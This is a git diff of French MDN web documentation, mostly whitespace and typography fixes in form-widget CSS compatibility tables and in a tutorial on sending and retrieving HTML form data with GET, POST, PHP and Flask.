<td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> @@ -1365,13 +1365,13 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("text-align")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-indent")}}</th> @@ -1390,19 +1390,19 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("text-overflow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -1426,7 +1426,7 @@ Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément <th scope="row">{{cssxref("border-radius")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("box-shadow")}}</th> @@ -1462,31 +1462,31 @@ Beaucoup de propriétés sont prises en charge mais il y a trop d'incohérence e <th scope="row">{{cssxref("width")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -1497,55 +1497,55 @@ Beaucoup de propriétés sont prises en charge mais il y a trop d'incohérence e <th scope="row">{{cssxref("color")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("letter-spacing")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-align")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-indent")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-overflow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -1556,19 +1556,19 @@ Beaucoup de propriétés sont prises en charge mais il y a trop d'incohérence e <th scope="row">{{cssxref("background")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border-radius")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("box-shadow")}}</th> <td>Non</td> <td>Non</td> - <td> </td> + <td></td> </tr> </tbody> </table> @@ -1594,7 +1594,7 @@ Il n'y a pas actuellement suffisamment d'implémentation pour obtenir des compor <th scope="row">{{cssxref("width")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> @@ -1613,13 +1613,13 @@ Il n'y a pas actuellement suffisamment d'implémentation pour obtenir des compor <th scope="row">{{cssxref("border")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> @@ -1643,55 +1643,55 @@ Il n'y a pas actuellement suffisamment d'implémentation pour obtenir des compor <th scope="row">{{cssxref("color")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("letter-spacing")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-align")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-indent")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-overflow")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -1745,25 +1745,25 @@ Il n'y a pas actuellement suffisemment d'implémentation pour obtenir des compor <th scope="row">{{cssxref("width")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border")}}</th> <td>Partiel</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> @@ -1788,55 +1788,55 @@ Il n'y a pas actuellement suffisemment d'implémentation pour obtenir des compor <th scope="row">{{cssxref("color")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("letter-spacing")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-align")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-indent")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-overflow")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -1890,7 +1890,7 @@ Il n'y a pas de méthode standard pour changer le style de la poignée de `range <th scope="row">{{cssxref("width")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> @@ -1910,13 +1910,13 @@ Il n'y a pas de méthode standard pour changer le style de la poignée de `range <th scope="row">{{cssxref("border")}}</th> <td>Non</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> @@ -1940,55 +1940,55 @@ Il n'y a pas de méthode standard pour changer le style de la poignée de `range <th scope="row">{{cssxref("color")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("letter-spacing")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-align")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-indent")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-overflow")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -2040,31 +2040,31 @@ Il n'y a pas de méthode standard pour changer le style de la poignée de `range <th scope="row">{{cssxref("width")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("height")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("border")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("margin")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("padding")}}</th> <td>Oui</td> <td>Oui</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -2075,55 +2075,55 @@ Il n'y a pas de méthode standard pour changer le style de la poignée de `range <th scope="row">{{cssxref("color")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("font")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("letter-spacing")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-align")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-decoration")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-indent")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-overflow")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-shadow")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> <tr> <th scope="row">{{cssxref("text-transform")}}</th> <td style="text-align: center; vertical-align: top">N.A.</td> <td style="text-align: center; vertical-align: top">N.A.</td> - <td> </td> + <td></td> </tr> </tbody> <tbody> @@ -2134,7 +2134,7 @@ Il n'y a pas de méthode standard pour changer le style de la poignée de `range <th scope="row">{{cssxref("background")}}</th> <td>Oui</td> <td>Oui</td> - <td colspan="1"> </td> + <td colspan="1"> </td> </tr> <tr> <th scope="row">{{cssxref("border-radius")}}</th> diff --git a/files/fr/learn/forms/sending_and_retrieving_form_data/index.md b/files/fr/learn/forms/sending_and_retrieving_form_data/index.md index 71ddd327e2..33fb1d1aea 100644 --- a/files/fr/learn/forms/sending_and_retrieving_form_data/index.md +++ b/files/fr/learn/forms/sending_and_retrieving_form_data/index.md @@ -22,7 +22,7 @@ Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Notions concernant les ordinateurs, <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" @@ -36,7 +36,7 @@ Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Comprendre ce qui arrive quand les données d'un formulaire sont soumises, y compris les notions de la façon dont les données sont @@ -50,13 +50,13 @@ Dans ce paragraphe, nous expliquons ce qui arrive aux données lors de la soumis ## A propos de l'architecture client / serveur -Le web se fonde sur une architecture client/serveur élémentaire ; en résumé : un client (généralement un navigateur Web) envoie une requête à un serveur (le plus souvent un serveur web comme [Apache](https://httpd.apache.org/), [Nginx](https://nginx.com/), [IIS](https://www.iis.net/), [Tomcat](https://tomcat.apache.org/)...), en utilisant le [protocole HTTP](/fr/docs/Web/HTTP). Le serveur répond à la requête en utilisant le même protocole. +Le web se fonde sur une architecture client/serveur élémentaire ; en résumé : un client (généralement un navigateur Web) envoie une requête à un serveur (le plus souvent un serveur web comme [Apache](https://httpd.apache.org/), [Nginx](https://nginx.com/), [IIS](https://www.iis.net/), [Tomcat](https://tomcat.apache.org/)...), en utilisant le [protocole HTTP](/fr/docs/Web/HTTP). Le serveur répond à la requête en utilisant le même protocole.  Côté client, un formulaire HTML n'est rien d'autre qu'un moyen commode et convivial de configurer une requête HTTP pour envoyer des données à un serveur. L'utilisateur peut ainsi adresser des informations à joindre à la requête HTTP. -> **Note :** Pour une meilleure idée du fonctionnement de l'architecture client‑serveur, lisez notre module [Programmation d'un site web côté‑serveur : premiers pas](/fr/docs/Learn/Server-side/First_steps). +> **Note :** Pour une meilleure idée du fonctionnement de l'architecture client‑serveur, lisez notre module [Programmation d'un site web côté‑serveur : premiers pas](/fr/docs/Learn/Server-side/First_steps). ## Côté client : définition de la méthode d'envoi des données @@ -66,13 +66,13 @@ L'élément [`<form>`](/fr/docs/Web/HTML/Element/Form) définit la méthode d'en Cet attribut définit où les données sont envoyées. Sa valeur doit être une URL valide. S'il n'est pas fourni, les données seront envoyées à l'URL de la page contenant le formulaire. -Dans cet exemple, les données sont envoyées à une URL précise — http\://foo.com : +Dans cet exemple, les données sont envoyées à une URL précise — http\://foo.com : ```html <form action="http://foo.com"> ``` -Ici, nous utilisons une URL relative — les données sont envoyées à une URL différente sur le serveur : +Ici, nous utilisons une URL relative — les données sont envoyées à une URL différente sur le serveur : ```html <form action="/somewhere_else"> @@ -107,7 +107,7 @@ Considérons le formulaire suivant : ```html <form action="http://foo.com" method="get"> <div> - <label for="say">Quelle salutation voulez-vous adresser ?</label> + <label for="say">Quelle salutation voulez-vous adresser ?</label> <input name="say" id="say" value="Salut"> </div> <div> @@ -124,12 +124,12 @@ Comme nous avons utilisé la méthode `GET`, vous verrez l'URL `www.foo.com/?say  -Les données sont ajoutées à l'URL sous forme d'une suite de paires nom/valeur. À la fin de l'URL de l'adresse Web, il y a un point d'interrogation (?) suivi par les paires nom/valeur séparés par une esperluette (&). Dans ce cas, nous passons deux éléments de données au serveur : +Les données sont ajoutées à l'URL sous forme d'une suite de paires nom/valeur. À la fin de l'URL de l'adresse Web, il y a un point d'interrogation (?) suivi par les paires nom/valeur séparés par une esperluette (&). Dans ce cas, nous passons deux éléments de données au serveur : - `say`, dont la valeur est `Salut` - `to`, qui a la valeur `Maman` -La requête HTTP ressemble à quelque chose comme : +La requête HTTP ressemble à quelque chose comme : GET /?say=Hi&to=Mom HTTP/1.1 Host: foo.com @@ -138,7 +138,7 @@ La requête HTTP ressemble à quelque chose comme : #### La méthode POST -La méthode `POST` est un peu différente.C'est la méthode que le navigateur utilise pour demander au serveur une réponse prenant en compte les données contenues dans le corps de la requête HTTP : « Hé serveur ! vois ces données et renvoie-moi le résultat approprié ». Si un formulaire est envoyé avec cette méthode, les données sont ajoutées au corps de la requête HTTP. +La méthode `POST` est un peu différente.C'est la méthode que le navigateur utilise pour demander au serveur une réponse prenant en compte les données contenues dans le corps de la requête HTTP : « Hé serveur ! vois ces données et renvoie-moi le résultat approprié ». Si un formulaire est envoyé avec cette méthode, les données sont ajoutées au corps de la requête HTTP. Voyons un exemple — c'est le même formulaire que celui que nous avons vu pour GET ci‑dessus, mais avec `post` comme valeur de l'attribut [`method`](/fr/docs/Web/HTML/Element/Form#attr-method). @@ -158,7 +158,7 @@ Voyons un exemple — c'est le même formulaire que celui que nous avons vu pour </form> ``` -Quand le formulaire est soumis avec la méthode `POST`, aucune donnée n'est ajoutée à l'URL et la requête HTTP ressemble à ceci, les données incorporées au corps de requête : +Quand le formulaire est soumis avec la méthode `POST`, aucune donnée n'est ajoutée à l'URL et la requête HTTP ressemble à ceci, les données incorporées au corps de requête : POST / HTTP/1.1 Host: foo.com @@ -173,28 +173,28 @@ L'en-tête `Content-Length` indique la taille du corps, et l'en-tête `Content-T ### Voir les requêtes HTTP -Les requêtes HTTP ne sont jamais montrées à l'utilisateur (si vous voulez les voir, vous devez utiliser des outils comme la [Console Web](/fr/docs/Tools/Web_Console) de Firefox ou les [Chrome Developer Tools](https://developers.google.com/chrome-developer-tools/)). À titre d'exemple, les données de formulaire sont visibles comme suit dans l'onglet Chrome Network. Après avoir soumis le formulaire : +Les requêtes HTTP ne sont jamais montrées à l'utilisateur (si vous voulez les voir, vous devez utiliser des outils comme la [Console Web](/fr/docs/Tools/Web_Console) de Firefox ou les [Chrome Developer Tools](https://developers.google.com/chrome-developer-tools/)). À titre d'exemple, les données de formulaire sont visibles comme suit dans l'onglet Chrome Network. Après avoir soumis le formulaire : 1. Pressez F12 -2. Selectionnez « Réseau » -3. Selectionnez « Tout » -4. Selectionnez « foo.com » dans l'onglet « Nom » -5. Selectionnez « En‑tête » +2. Selectionnez « Réseau » +3. Selectionnez « Tout » +4. Selectionnez « foo.com » dans l'onglet « Nom » +5. Selectionnez « En‑tête » Vous obtiendrez les données du formulaire, comme l'image suivante le montre.  -La seule chose affichée à l'utilisateur est l'URL appelée. Comme mentionné ci‑dessus, avec une requête `GET` l'utilisateur verra les données dans la barre de l'URL, mais avec une requête `POST` il ne verra rien. Cela peut être important pour deux raisons : +La seule chose affichée à l'utilisateur est l'URL appelée. Comme mentionné ci‑dessus, avec une requête `GET` l'utilisateur verra les données dans la barre de l'URL, mais avec une requête `POST` il ne verra rien. Cela peut être important pour deux raisons : 1. Si vous avez besoin d'envoyer un mot de passe (ou toute autre donnée sensible), n'utilisez jamais la méthode GET ou vous risquez de l'afficher dans la barre d'URL, ce qui serait très peu sûr. 2. Si vous avez besoin d'envoyer une grande quantité de données, la méthode POST est préférable, car certains navigateurs limitent la taille des URLs. De plus, de nombreux serveurs limitent la longueur des URL qu'ils acceptent. ## Côté serveur : récupérer les données -Quelle que soit la méthode HTTP qu'on choisit, le serveur reçoit une chaîne de caractères qui sera décomposée pour récupérer les données comme une liste de paires clé/valeur. La façon d'accéder à cette liste dépend de la plateforme de développement utilisée et des modèles qu'on peut utiliser avec. La technologie utilisée détermine aussi comment les clés dupliquées sont gérées ; souvent, la priorité est donnée à la valeur de clé la plus récente. +Quelle que soit la méthode HTTP qu'on choisit, le serveur reçoit une chaîne de caractères qui sera décomposée pour récupérer les données comme une liste de paires clé/valeur. La façon d'accéder à cette liste dépend de la plateforme de développement utilisée et des modèles qu'on peut utiliser avec. La technologie utilisée détermine aussi comment les clés dupliquées sont gérées ; souvent, la priorité est donnée à la valeur de clé la plus récente. -### Exemple : PHP brut +### Exemple : PHP brut Le [PHP](https://php.net/) met à disposition des objets globaux pour accéder aux données. En supposant que vous avez utilisé la méthode `POST`, l'exemple suivant récupère les données et les affiche à l'utilisateur. Bien sûr, ce que vous en faites dépend de vous. Vous pouvez les afficher, les ranger dans une base de données, les envoyer par mail ou les traiter autrement. @@ -212,13 +212,13 @@ Cet exemple affiche une page avec les données envoyées. Vous pouvez voir ceci  -> **Note :** Cet exemple ne fonctionnera pas si vous le chargez localement dans un navigateur — les navigateurs ne savent pas interpréter le code PHP, donc quand le formulaire est soumis, le navigateur vous offrira seulement de télécharger le fichier PHP pour vous. Pour qu'il s'exécute, il est nécessaire de lancer l'exemple par l'intermédiaire d'un serveur PHP de n'importe quel type. Les bons choix pour des tests locaux de PHP sont [MAMP](https://www.mamp.info/en/downloads/) (Mac et Windows) et [AMPPS](https://ampps.com/download) (Mac, Windows, Linux). +> **Note :** Cet exemple ne fonctionnera pas si vous le chargez localement dans un navigateur — les navigateurs ne savent pas interpréter le code PHP, donc quand le formulaire est soumis, le navigateur vous offrira seulement de télécharger le fichier PHP pour vous. Pour qu'il s'exécute, il est nécessaire de lancer l'exemple par l'intermédiaire d'un serveur PHP de n'importe quel type. Les bons choix pour des tests locaux de PHP sont [MAMP](https://www.mamp.info/en/downloads/) (Mac et Windows) et [AMPPS](https://ampps.com/download) (Mac, Windows, Linux). > > Notez également que si vous utilisez MAMP mais que vous n'avez pas installé MAMP Pro (ou si le temps d'essai de la démo de MAMP Pro a expiré), vous pourriez avoir des difficultés à le faire fonctionner. Pour le faire fonctionner à nouveau, nous avons constaté que vous pouvez charger l'application MAMP, puis choisir les options de menu _MAMP_ > _Préférences_ > _PHP_, et définir "Version standard :" à "7.2.x" (x sera différent selon la version que vous avez installée). ### Exemple: Python -Cet exemple vous montre comment utiliser Python pour faire la même chose — afficher les données sur une page web. Celui‑ci utilise [Flask framework](https://flask.pocoo.org/) pour le rendu des modèles, la gestion de la soumission des données du formulaire, etc (voyez [python-example.py](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/python-example.py)). +Cet exemple vous montre comment utiliser Python pour faire la même chose — afficher les données sur une page web. Celui‑ci utilise [Flask framework](https://flask.pocoo.org/) pour le rendu des modèles, la gestion de la soumission des données du formulaire, etc (voyez [python-example.py](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/python-example.py)). ```python from flask import Flask, render_template, request @@ -236,12 +236,12 @@ if __name__ == "__main__": app.run() ``` -Les deux prototypes référencés dans le code ci‑dessus sont les suivants : +Les deux prototypes référencés dans le code ci‑dessus sont les suivants : -- [`form.html`](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/form.html) : Le même formulaire que celui vu plus haut dans la section [La méthode POST](#the_post_method) mais avec l'attribut `action` défini à la valeur `\{{url_for('hello')}}`. (C'est un modèle [Jinja2](https://jinja.pocoo.org/docs/2.9/), qui est HTML à la base mais peut contenir des appels à du code Python qui fait tourner le serveur web mis entre accolades. `url_for('hello')` dit en gros « à rediriger sur `/hello` quand le formulaire est soumis ».) -- [greeting.html](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/greeting.html) : Ce modèle contient juste une ligne qui renvoie les deux éléments de donnée qui lui sont passées lors du rendu. Cela est effectué par l'intermédiaire de la fonction `hello()` vue plus haut qui s'exécute quand l'URL `/hello` est chargée dans le navigateur. +- [`form.html`](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/form.html) : Le même formulaire que celui vu plus haut dans la section [La méthode POST](#the_post_method) mais avec l'attribut `action` défini à la valeur `\{{url_for('hello')}}`. (C'est un modèle [Jinja2](https://jinja.pocoo.org/docs/2.9/), qui est HTML à la base mais peut contenir des appels à du code Python qui fait tourner le serveur web mis entre accolades. `url_for('hello')` dit en gros « à rediriger sur `/hello` quand le formulaire est soumis ».) +- [greeting.html](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/greeting.html) : Ce modèle contient juste une ligne qui renvoie les deux éléments de donnée qui lui sont passées lors du rendu. Cela est effectué par l'intermédiaire de la fonction `hello()` vue plus haut qui s'exécute quand l'URL `/hello` est chargée dans le navigateur. -> **Note :** À nouveau, ce code ne fonctionnera pas si vous tentez de le charger directement dans le navigateur. Python fonctionne un peu différemment de PHP — pour exécuter ce code localement il est nécessaire d'[installer Python/PIP](/fr/docs/Learn/Server-side/Django/development_environment#installing_python_3), puis Flask avec « `pip3 install flask` ». À ce moment‑là vous pourrez exécuter l'exemple avec « `python3 python-example.py` », puis en allant sur « `localhost:5000` » dans votre navigateur. +> **Note :** À nouveau, ce code ne fonctionnera pas si vous tentez de le charger directement dans le navigateur. Python fonctionne un peu différemment de PHP — pour exécuter ce code localement il est nécessaire d'[installer Python/PIP](/fr/docs/Learn/Server-side/Django/development_environment#installing_python_3), puis Flask avec « `pip3 install flask` ». À ce moment‑là vous pourrez exécuter l'exemple avec « `python3 python-example.py` », puis en allant sur « `localhost:5000` » dans votre navigateur. ### Autres langages et canevas de structures @@ -260,11 +260,11 @@ Enfin il faut noter que même en utilisant ces canevas, travailler avec des form ## Cas particulier : envoyer des fichiers -L'envoi de fichiers avec un formulaire HTML est cas particulier. Les fichiers sont des données binaires — ou considérées comme telles — alors que toutes les autres données sont des données textuelles. Comme HTTP est un protocole de texte, il y a certaines conditions particulières à remplir pour gérer des données binaires. +L'envoi de fichiers avec un formulaire HTML est cas particulier. Les fichiers sont des données binaires — ou considérées comme telles — alors que toutes les autres données sont des données textuelles. Comme HTTP est un protocole de texte, il y a certaines conditions particulières à remplir pour gérer des données binaires. ### L'attribut enctype -Cet attribut vous permet de préciser la valeur de l'en-tête HTTP `Content-Type` incorporé dans la requête générée au moment de la soumission du formulaire. Cet en-tête est très important, car il indique au serveur le type de données envoyées. Par défaut, sa valeur est `application/x-www-form-urlencoded`. Ce qui signifie : « Ce sont des données de formulaire encodées à l'aide de paramètres URL ». +Cet attribut vous permet de préciser la valeur de l'en-tête HTTP `Content-Type` incorporé dans la requête générée au moment de la soumission du formulaire. Cet en-tête est très important, car il indique au serveur le type de données envoyées. Par défaut, sa valeur est `application/x-www-form-urlencoded`. Ce qui signifie : « Ce sont des données de formulaire encodées à l'aide de paramètres URL ». Mais si vous voulez envoyer des fichiers, il faut faire deux choses en plus : @@ -290,7 +290,7 @@ Par exemple : ## Problèmes courants de sécurité -Chaque fois qu'on envoie des données à un serveur, il faut considérer la sécurité. Les formulaires HTML sont l'un des principaux vecteurs d'attaque (emplacements d'où les attaques peuvent provenir) contre les serveurs. Les problèmes ne viennent jamais des formulaires eux-mêmes — ils proviennent de la façon dont les serveurs gèrent les données. +Chaque fois qu'on envoie des données à un serveur, il faut considérer la sécurité. Les formulaires HTML sont l'un des principaux vecteurs d'attaque (emplacements d'où les attaques peuvent provenir) contre les serveurs. Les problèmes ne viennent jamais des formulaires eux-mêmes — ils proviennent de la façon dont les serveurs gèrent les données. L'article [Sécurité des sites Web](/fr/docs/Learn/Server-side/First_steps/Website_security) de notre sujet d'apprentissage [server-side](/fr/docs/Learn/Server-side) aborde en détail un certain nombre d'attaques courantes et les défenses potentielles contre celles-ci. Vous devriez aller consulter cet article, pour vous faire une idée de ce qui est possible. @@ -304,7 +304,7 @@ Toute donnée qui va dans un serveur doit être vérifiée et nettoyée. Toujour - **Limitez la quantité de données entrantes pour n'autoriser que ce qui est nécessaire**. - **Sandbox des fichiers téléchargés**. Stockez-les sur un serveur différent et n'autorisez l'accès au fichier que par un sous-domaine différent ou, mieux encore, par un domaine complètement différent. -Vous devriez vous éviter beaucoup de problèmes en suivant ces trois règles, mais cela reste néanmoins une bonne idée de faire un examen de sécurité auprès d'une tierce personne compétente. Ne pensez pas, à tort, avoir anticipé tous les problèmes de sécurité ! +Vous devriez vous éviter beaucoup de problèmes en suivant ces trois règles, mais cela reste néanmoins une bonne idée de faire un examen de sécurité auprès d'une tierce personne compétente. Ne pensez pas, à tort, avoir anticipé tous les problèmes de sécurité ! ## Conclusion @@ -314,7 +314,7 @@ Comme vous pouvez le voir, envoyer un formulaire est facile, mais sécuriser son Si vous voulez en savoir plus par rapport aux 